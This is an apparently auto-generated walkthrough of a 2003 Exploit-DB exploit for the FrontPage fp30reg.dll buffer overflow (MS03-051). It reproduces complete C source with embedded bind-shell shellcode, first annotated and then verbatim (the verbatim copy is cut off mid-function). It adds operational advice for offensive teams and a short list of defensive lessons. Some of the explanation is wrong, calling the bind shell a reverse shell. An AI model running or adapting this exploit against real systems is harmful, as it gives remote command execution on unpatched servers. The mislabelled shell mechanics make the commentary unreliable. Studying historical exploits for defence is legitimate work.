Microsoft FrontPage Server Extensions fp30reg.dll Buffer Overflow Exploit (MS03-051)

Microsoft FrontPage Server Extensions fp30reg.dll Buffer Overflow Exploit (MS03-051)
What this paper is
This paper is an exploit script, published by Adik, that targets a vulnerability in Microsoft's FrontPage Server Extensions. Specifically, it exploits a buffer overflow in the fp30reg.dll component. The exploit aims to gain a persistent command shell on the target system, listening on TCP port 9999. It was tested on Windows 2000 Professional SP3 English version with fp30reg.dll version 4.0.2.5526.
Simple technical breakdown
The exploit works by sending a specially crafted HTTP POST request to the fp30reg.dll component of the FrontPage Server Extensions. This request contains a large amount of data that overflows a buffer within the DLL. By carefully controlling the overflow, the attacker can overwrite critical parts of the program's memory, including the instruction pointer. This allows the attacker to redirect the program's execution to a piece of malicious code (shellcode) embedded within the exploit. This shellcode then sets up a listening socket on port 9999 and provides a command shell to the attacker.
The exploit uses a chunked transfer encoding for the HTTP request, which is a way to send data in pieces. This is often used when the total size of the data is not known beforehand, or to allow for more flexible data transmission. The exploit also includes specific byte sequences that are designed to manipulate the program's execution flow and ultimately jump to the shellcode.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section:
1. Header and Includes:
/*******************************************************************************
Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore
Exploit by Adik netmaniac hotmail kg
Binds persistent command shell on port 9999
Tested on
Windows 2000 Professional SP3 English version
(fp30reg.dll ver 4.0.2.5526)
-[ 13/Nov/2003 ]-
********************************************************************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define VER "0.1" - Comments: Provide context about the vulnerability, discoverer, author, functionality, and tested environment.
#include <stdio.h>: Standard input/output functions.#include <string.h>: String manipulation functions.#include <winsock.h>: Windows Sockets API for network programming.#pragma comment(lib,"ws2_32"): Links the Winsock 2 library (ws2_32.lib) to the executable.#define VER "0.1": Defines a version number for the exploit.
2. Shellcode Definition:
/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
// ... (long sequence of hex bytes) ...
};unsigned char kyrgyz_bind_code[]: This array holds the actual shellcode.Purpose: This shellcode is designed to:
- Create a socket.
- Bind it to port 9999.
- Listen for incoming connections.
- When a connection is established, duplicate the standard input, output, and error file descriptors to the socket. This effectively redirects the command prompt to the network connection.
- Execute a command shell (
cmd.exe).
The specific bytes are machine code instructions for the x86 architecture. Without a disassembler, it's difficult to provide a byte-by-byte explanation of its exact execution flow, but its overall function is to establish a reverse shell.
3. Helper Functions Declarations:
void cmdshell (int sock);
long gimmeip(char *hostname);cmdshell (int sock): Declared to handle the interactive command shell session once a connection is established.gimmeip(char *hostname): Declared to resolve a hostname to an IP address.
4. main Function:
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
struct hostent *host;
int sockTCP,s;
unsigned short port = 80;
long ip;
unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
unsigned char packet[3000],data[1500];
unsigned char ecx[] = "\xe0\xf3\xd4\x67";
unsigned char edi[] = "\xff\xd0\x90\x90";
unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
unsigned char shortjmp[] = "\xeb\x10";
printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
" by Adik < netmaniac [at] hotmail.KG >\n\n", VER);
if(argc < 2)
{
printf(" Usage: %s [Target] <port>\n"
" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
return 1;
}
if(argc==3)
port = atoi(argv[2]);
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));
memset(packet,0,sizeof(packet));
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);
memset(data, 0x90, sizeof(data)-1);
data[sizeof(data)-1] = '\x0';
memcpy(&data[16],edi,sizeof(edi)-1);
memcpy(&data[20],ecx,sizeof(ecx)-1);
memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
memcpy(&data[250+14],call,sizeof(call)-1);
memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Checking for presence of fp30reg.dll...");
if (send(sockTCP, packet, strlen(packet),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
memset(packet,0,sizeof(packet));
if (recv(sockTCP, packet, sizeof(packet),0) == -1)
{
printf("[x] Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}
if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
printf(" Found!\n");
else
{
printf(" Not Found!! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Sleeping ");
for(s=0;s<13000;s+=1000)
{
printf(". ");
Sleep(1000);
}
printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(9999);
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\n[*] Dropping to shell...\n\n");
cmdshell(sockTCP);
return 0;
}Variable Declarations:
WSADATA wsaData;: Structure for Winsock initialization.struct sockaddr_in targetTCP;: Structure for TCP socket address information.struct hostent *host;: Structure to hold host information.int sockTCP, s;: Socket descriptor and loop counter.unsigned short port = 80;: Target port, defaults to 80.long ip;: Target IP address.unsigned char header[]: The initial part of the HTTP request.unsigned char packet[3000], data[1500];: Buffers for constructing the HTTP request.unsigned char ecx[] = "\xe0\xf3\xd4\x67";: Specific bytes used in the exploit.unsigned char edi[] = "\xff\xd0\x90\x90";: Specific bytes used in the exploit.unsigned char call[] = "\xe4\xf3\xd4\x67";: Specific bytes used in the exploit.unsigned char shortjmp[] = "\xeb\x10";: Specific bytes used in the exploit.
Initialization and Argument Handling:
- Prints exploit banner and version.
- Checks for command-line arguments (
argc). Requires at least a target IP/hostname. An optional port can be provided. WSAStartup(0x0202, &wsaData);: Initializes the Winsock library.- Prints target information.
ip = gimmeip(argv[1]);: Resolves the target hostname to an IP address using thegimmeipfunction.- Initializes
targetTCPstructure andpacketbuffer. - Sets
targetTCP.sin_family,sin_addr.s_addr, andsin_port.
Packet Construction:
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);: Starts building the HTTP request with thePOSTheader andHostheader.Transfer-Encoding: chunkedis crucial for this exploit.memset(data, 0x90, sizeof(data)-1); data[sizeof(data)-1] = '\x0';: Fills thedatabuffer with NOP (No Operation) instructions (0x90). This is common in buffer overflow exploits to create a "sled" that guides execution to the shellcode.memcpy(&data[16], edi, sizeof(edi)-1);: Copiesedibytes into thedatabuffer at offset 16. These bytes are likely part of the shellcode or control flow manipulation.memcpy(&data[20], ecx, sizeof(ecx)-1);: Copiesecxbytes into thedatabuffer at offset 20. Similar purpose toedi.memcpy(&data[250+10], shortjmp, sizeof(shortjmp)-1);: Copiesshortjmpbytes at offset 260. This is a short jump instruction, likely used to jump over some data to reach thecallinstruction.memcpy(&data[250+14], call, sizeof(call)-1);: Copiescallbytes at offset 264. This is a jump instruction that will likely transfer control to the shellcode. The comment "//overwrite .data section of fp30reg.dll" suggests this is targeting a specific memory location.memcpy(&data[250+70], kyrgyz_bind_code, sizeof(kyrgyz_bind_code));: Copies the entirekyrgyz_bind_code(shellcode) into thedatabuffer at offset 320.sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);: This is the final part of the HTTP request.Content-Length: %d: Specifies the length of the data being sent.%x\r\n%s\r\n0\r\n\r\n: This is the chunked encoding format.%xrepresents the length of the current chunk in hexadecimal, followed by the chunk data (%s), and then0\r\n\r\nsignifies the end of the chunked data. The exploit is sending the entiredatabuffer as a single chunk.
Initial Connection and Vulnerability Check:
sockTCP = socket(AF_INET, SOCK_STREAM, 0): Creates a TCP socket.- Error handling for socket creation.
connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)): Attempts to connect to the target on the specified port.- Error handling for connection failure.
send(sockTCP, packet, strlen(packet),0): Sends the crafted HTTP request to the target.- Error handling for sending failure.
memset(packet,0,sizeof(packet)); if (recv(sockTCP, packet, sizeof(packet),0) == -1): Clears the packet buffer and receives the server's response.if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0'): This is a rudimentary check. It looks for the characters '1', '0', '0' in the response, which likely correspond to "100 OK" or a similar HTTP status code indicating success. This is used to confirm thatfp30reg.dllis accessible and likely running.- If the check fails, it prints "Not Found!!" and exits.
printf("[*] Packet injected!\n");: Informs the user that the initial packet was sent.closesocket(sockTCP);: Closes the initial connection.
Waiting and Second Connection:
printf("[*] Sleeping "); for(s=0;s<13000;s+=1000) { printf(". "); Sleep(1000); }: The exploit pauses for approximately 13 seconds. This delay is likely to allow the vulnerable service to process the initial request and for the shellcode to execute and bind the listener on port 9999.printf("\n[*] Connecting to host: %s on port 9999",argv[1]);: Informs the user about the attempt to connect to the shell.- A new socket is created.
targetTCP.sin_port = htons(9999);: The target port is set to 9999 for the shell connection.if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0): Attempts to connect to the target on port 9999.- If this connection fails, it indicates the exploit likely failed or a firewall is blocking the port.
printf("\n[*] Dropping to shell...\n\n"); cmdshell(sockTCP);: If the connection to port 9999 is successful, it calls thecmdshellfunction to provide an interactive shell.
5. cmdshell Function:
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];
tv.tv_sec = 1;
tv.tv_usec = 0;
while (1)
{
o[0] = 1;
o[1] = sock;
length = select (0, (fd_set *)&o, NULL, NULL, &tv);
if(length == 1)
{
length = recv (sock, buffer, sizeof (buffer), 0);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
length = write (1, buffer, length);
if (length <= 0)
{
printf ("[x] Connection closed.\n");
WSACleanup();
return;
}
}
else
{
length = read (0, buffer, sizeof (buffer));
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
length = send(sock, buffer, length, 0);
if (length <= 0)
{
printf("[x] Connection closed.\n");
WSACleanup();
return;
}
}
}
}- Purpose: This function creates an interactive command shell by managing input and output between the user's terminal and the remote shell socket.
struct timeval tv;: Used for theselecttimeout.unsigned long o[2];: This is a bit of a hack.selectexpects afd_setwhich is a set of file descriptors. Here,o[0]is set to1(likely to indicate that we are interested in one file descriptor) ando[1]is set tosock(the socket descriptor). This is a common technique in older exploit code to pass a single socket toselectfor checking readability.while (1): The loop continues indefinitely until a connection is closed.select(0, (fd_set *)&o, NULL, NULL, &tv): This function monitors the provided file descriptors for readiness.- The first argument
0is the maximum file descriptor number plus one (which is incorrect usage for standardselect, but in this context witho[0]=1ando[1]=sock, it's likely intended to checksock). (fd_set *)&o: The read set, containingsock.NULL, NULL: Write and exception sets are not used.&tv: Timeout value.
- The first argument
if (length == 1): Ifselectreturns1, it meanssockis ready for reading (data from the remote shell).recv(sock, buffer, sizeof(buffer), 0): Reads data from the remote shell into thebuffer.write(1, buffer, length): Writes the received data to standard output (the user's terminal).
else(implicitlylength != 1): Ifselectdoes not return1(e.g., returns0due to timeout, or an error), it assumes the user has typed something.read(0, buffer, sizeof(buffer)): Reads data from standard input (the user's typed commands) into thebuffer.send(sock, buffer, length, 0): Sends the user's command to the remote shell.
- Error Handling: Checks for
length <= 0inrecv,write,read, andsendto detect connection closures and cleans up Winsock.
6. gimmeip Function:
long gimmeip(char *hostname)
{
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0)
{
if ((he = gethostbyname(hostname)) == NULL)
{
printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
WSACleanup();
exit(1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}- Purpose: Resolves a hostname (like
www.example.com) into an IPv4 address. inet_addr(hostname): Attempts to convert the input string directly into an IP address. If successful, it returns the IP address. If the input is not a valid IP address string (e.g., a hostname), it returnsINADDR_NONE(which is typically -1).if ((ipaddr = inet_addr(hostname)) < 0): Ifinet_addrfailed (meaninghostnameis not a dotted-decimal IP address).gethostbyname(hostname): Performs a DNS lookup to get the IP address for the given hostname.- Error handling if the hostname cannot be resolved.
memcpy(&ipaddr, he->h_addr, he->h_length);: Copies the IP address from thehostentstructure intoipaddr.he->h_addrpoints to the IP address, andhe->h_lengthis its size.
return ipaddr;: Returns the resolved IP address.
7. Payload/Shellcode Mapping:
kyrgyz_bind_code[]: The actual shellcode that establishes a listening socket on port 9999 and provides a command shell.ecx[],edi[],call[],shortjmp[]: These are small byte sequences used to manipulate the execution flow. They are placed strategically within the overflowed buffer to redirect control to thekyrgyz_bind_code. The specific offsets (e.g.,&data[16],&data[20],&data[250+10],&data[250+14]) are critical and depend on the exact memory layout offp30reg.dllon the target system. The comment//overwrite .data section of fp30reg.dllsuggests these bytes are intended to overwrite specific data or code within the.datasection of the loaded DLL, which is then executed.
Code Fragment/Block -> Practical Purpose
#include <winsock.h>: Enables network communication functions.WSADATA wsaData; WSAStartup(...): Initializes the Windows network stack.struct sockaddr_in targetTCP;: Defines the target's network address.socket(AF_INET, SOCK_STREAM, 0): Creates a TCP socket for communication.connect(...): Establishes a connection to the target server.sprintf(packet, ...): Constructs the HTTP request payload.memset(data, 0x90, ...): Creates a NOP sled for reliable execution flow.memcpy(&data[offset], shellcode_part, ...): Places exploit-specific bytes and shellcode into the payload.send(sockTCP, packet, ...): Sends the malicious HTTP request.recv(sockTCP, packet, ...): Receives the server's response to check for success.Sleep(13000): Pauses execution to allow the shellcode to bind.connect(sockTCP, ..., htons(9999)): Connects to the shell listener on port 9999.cmdshell(sockTCP): Manages the interactive command shell session.select(...): Manages input/output for the interactive shell.recv(...),write(...): Reads from shell, writes to console.read(...),send(...): Reads from console, writes to shell.gimmeip(...): Resolves hostnames to IP addresses.
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine is required. The FrontPage Server Extensions must be installed and running on the target. No local privileges are needed initially, as this is a remote exploit.
- Lab Preconditions:
- A target machine with Microsoft Windows 2000 Professional SP3 (or a compatible version) installed.
- Microsoft FrontPage Server Extensions installed and configured on the target.
- The
fp30reg.dllfile must be accessible and vulnerable. - Network connectivity between the attacker's machine and the target's HTTP port (default 80).
- Port 9999 must be open and not blocked by a firewall on the target for the reverse shell to connect back.
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the exploit code.
- A network scanner (like Nmap) to identify running FrontPage services and open ports.
- A debugger (like WinDbg) for analyzing the target binary and understanding memory layouts if needed for adaptation.
- Execution Pitfalls:
- Target Specificity: The exploit is tested on a very specific OS and DLL version. Variations in OS service packs, FrontPage versions, or even minor DLL updates can break the exploit. The hardcoded offsets for
ecx,edi,call, andshortjmpare highly sensitive to memory layout. - Firewalls: Network firewalls on the target or in transit can block the initial HTTP request or, more critically, the return connection on port 9999.
- Service Availability: If the FrontPage Server Extensions service is not running or is misconfigured, the exploit will fail.
- IDS/IPS: Network Intrusion Detection/Prevention Systems may flag the unusual HTTP request or the subsequent connection on port 9999.
- ASLR/DEP: While less prevalent on Windows 2000, modern OS features like Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) would make this type of exploit much harder to execute reliably without significant adaptation.
- Incorrect Shellcode: If the shellcode is corrupted or not properly placed, the bind shell will not be established, and the exploit will appear to fail.
- Timing: The
Sleepduration might need adjustment. If it's too short, the shellcode might not have time to bind. If it's too long, it increases the window of suspicious activity.
- Target Specificity: The exploit is tested on a very specific OS and DLL version. Variations in OS service packs, FrontPage versions, or even minor DLL updates can break the exploit. The hardcoded offsets for
- Telemetry:
- Network:
- An HTTP POST request to
/_vti_bin/_vti_aut/fp30reg.dllon port 80 (or the specified port). - A subsequent TCP connection attempt to port 9999 on the target from the attacker's IP.
- If successful, continuous TCP traffic on port 9999 between the attacker and the target.
- An HTTP POST request to
- Host (Target):
- Increased network activity on port 80.
- A new process might be spawned by
fp30reg.dllor its host process (e.g.,inetinfo.exeorw3svc.exe) to handle the incoming connection and execute the shellcode. - A new listening port (9999) might appear.
- Potentially, a new process like
cmd.exemight be running, associated with the network listener. - Event logs might record unusual HTTP requests or service errors if the overflow causes instability.
- Network:
Where this was used and when
- Discovery: The vulnerability was discovered by Brett Moore.
- Publication: The exploit was published by Adik on November 13, 2003.
- Context: This exploit targets a vulnerability patched by Microsoft in Security Bulletin MS03-051, which was released in November 2003. This indicates that the exploit was likely developed and used shortly after the vulnerability was disclosed and before widespread patching occurred. Exploits from this era were often shared on security forums and mailing lists like milw0rm.com (where this paper is referenced).
- Usage: Such exploits were typically used by penetration testers and, unfortunately, by malicious actors to gain unauthorized access to systems running vulnerable versions of Microsoft FrontPage Server Extensions.
Defensive lessons for modern teams
- Patch Management: The most crucial lesson is the importance of timely patching. MS03-051 was a critical vulnerability, and systems that remained unpatched were highly susceptible. Regular and prompt application of security updates is paramount.
- Service Hardening: Minimize the attack surface. If FrontPage Server Extensions are not strictly necessary, they should be disabled or uninstalled. If they must be used, ensure they are configured securely and are updated.
- Network Segmentation and Firewalls: Implement strict firewall rules to limit access to services like FrontPage. Only allow necessary inbound and outbound connections. Blocking access to FrontPage from the internet and limiting internal access can significantly reduce risk.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect the characteristic patterns of known exploits, including malformed HTTP requests or unexpected network connections. Signature-based and anomaly-based detection can be effective.
- Vulnerability Scanning: Regularly scan your network for vulnerable software versions. Tools like Nessus, Qualys, or OpenVAS can identify systems running unpatched or vulnerable software.
- Application Security: For custom applications or older third-party components, conduct thorough security testing (including fuzzing) to identify buffer overflow and other memory corruption vulnerabilities before deployment.
- Modern OS Protections: While this exploit predates widespread ASLR and DEP, modern operating systems have these protections enabled by default. They make classic buffer overflow exploits significantly harder to execute without advanced techniques like Return-Oriented Programming (ROP).
ASCII visual (if applicable)
This exploit relies on a specific memory layout and control flow manipulation within a single DLL. A simple ASCII visual might not fully capture the intricate memory overwrites. However, we can represent the general flow:
+-----------------+ +----------------------+ +-----------------+
| Attacker Machine| --> | Target Machine (HTTP)| --> | fp30reg.dll |
| (Exploit Code) | | (Port 80) | | (Vulnerable) |
+-----------------+ +----------------------+ +--------+--------+
|
| (Buffer Overflow)
v
+-----------------+
| Shellcode |
| (Bind to 9999) |
+--------+--------+
|
| (Listens on 9999)
v
+-----------------+ +----------------------+ +-----------------+
| Attacker Machine| <-- | Target Machine (Shell)| <-- | cmd.exe |
| (Interactive) | | (Port 9999) | | (Executed) |
+-----------------+ +----------------------+ +-----------------+Explanation:
- The attacker sends a crafted HTTP request to the vulnerable FrontPage Server Extensions service on the target machine.
- This request triggers a buffer overflow in
fp30reg.dll. - The overflow redirects execution to the embedded shellcode.
- The shellcode starts a listener on port 9999.
- The attacker then connects to port 9999 to get an interactive command shell.
Source references
- Paper ID: 121
- Paper Title: Microsoft FrontPage Server Extensions - 'fp30reg.dll' (MS03-051)
- Author: Adik
- Published: 2003-11-13
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/121
- Raw URL: https://www.exploit-db.com/raw/121
- Microsoft Security Bulletin: MS03-051
Original Exploit-DB Content (Verbatim)
/*******************************************************************************
Frontpage fp30reg.dll Overflow (MS03-051) discovered by Brett Moore
Exploit by Adik netmaniac hotmail kg
Binds persistent command shell on port 9999
Tested on
Windows 2000 Professional SP3 English version
(fp30reg.dll ver 4.0.2.5526)
-[ 13/Nov/2003 ]-
********************************************************************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define VER "0.1"
/******** bind shellcode spawns persistent shell on port 9999 *****************************/
unsigned char kyrgyz_bind_code[] = {
0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33,
0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA,
0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88,
0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE,
0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88,
0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88,
0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89,
0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78,
0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77,
0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03,
0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05,
0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98,
0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC,
0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77,
0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03,
0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8,
0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C,
0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0,
0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03,
0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B,
0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03,
0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48,
0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
};
void cmdshell (int sock);
long gimmeip(char *hostname);
int main(int argc,char *argv[])
{
WSADATA wsaData;
struct sockaddr_in targetTCP;
struct hostent *host;
int sockTCP,s;
unsigned short port = 80;
long ip;
unsigned char header[]= "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1\r\n";
unsigned char packet[3000],data[1500];
unsigned char ecx[] = "\xe0\xf3\xd4\x67";
unsigned char edi[] = "\xff\xd0\x90\x90";
unsigned char call[] = "\xe4\xf3\xd4\x67";//overwrite .data section of fp30reg.dll
unsigned char shortjmp[] = "\xeb\x10";
printf("\n-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver %s }=-\n\n"
" by Adik < netmaniac [at] hotmail.KG >\n\n", VER);
if(argc < 2)
{
printf(" Usage: %s [Target] <port>\n"
" eg: fp30reg.exe 192.168.63.130\n\n",argv[0]);
return 1;
}
if(argc==3)
port = atoi(argv[2]);
WSAStartup(0x0202, &wsaData);
printf("[*] Target:\t%s \tPort: %d\n\n",argv[1],port);
ip=gimmeip(argv[1]);
memset(&targetTCP, 0, sizeof(targetTCP));
memset(packet,0,sizeof(packet));
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(port);
sprintf(packet,"%sHost: %s\r\nTransfer-Encoding: chunked\r\n",header,argv[1]);
memset(data, 0x90, sizeof(data)-1);
data[sizeof(data)-1] = '\x0';
memcpy(&data[16],edi,sizeof(edi)-1);
memcpy(&data[20],ecx,sizeof(ecx)-1);
memcpy(&data[250+10],shortjmp,sizeof(shortjmp)-1);
memcpy(&data[250+14],call,sizeof(call)-1);
memcpy(&data[250+70],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
sprintf(packet,"%sContent-Length: %d\r\n\r\n%x\r\n%s\r\n0\r\n\r\n",packet,strlen(data),strlen(data),data);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Socket initialized...\n");
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("[*] Connection to host failed! Exiting...\n");
WSACleanup();
exit(1);
}
printf("[*] Checking for presence of fp30reg.dll...");
if (send(sockTCP, packet, strlen(packet),0) == -1)
{
printf("[x] Failed to inject packet! Exiting...\n");
WSACleanup();
return 1;
}
memset(packet,0,sizeof(packet));
if (recv(sockTCP, packet, sizeof(packet),0) == -1)
{
printf("[x] Failed to receive packet! Exiting...\n");
WSACleanup();
return 1;
}
if(packet[9]=='1' && packet[10]=='0' && packet[11]=='0')
printf(" Found!\n");
else
{
printf(" Not Found!! Exiting...\n");
WSACleanup();
return 1;
}
printf("[*] Packet injected!\n");
closesocket(sockTCP);
printf("[*] Sleeping ");
for(s=0;s<13000;s+=1000)
{
printf(". ");
Sleep(1000);
}
printf("\n[*] Connecting to host: %s on port 9999",argv[1]);
if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("\n[x] Socket not initialized! Exiting...\n");
WSACleanup();
return 1;
}
targetTCP.sin_family = AF_INET;
targetTCP.sin_addr.s_addr = ip;
targetTCP.sin_port = htons(9999);
if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
{
printf("\n[x] Exploit failed or there is a Firewall! Exiting...\n");
WSACleanup();
exit(1);
}
printf("\n[*] Dropping to shell...\n\n");
cmdshell(sockTCP);
return 0;
}
/*********************************************************************************/
void cmdshell (int sock)
{
struct timeval tv;
int length;
unsigned long o[2];
char buffer[1000];
tv.tv_sec = 1;
tv.tv_usec = 0;
while (1)
{
o[0] = 1;
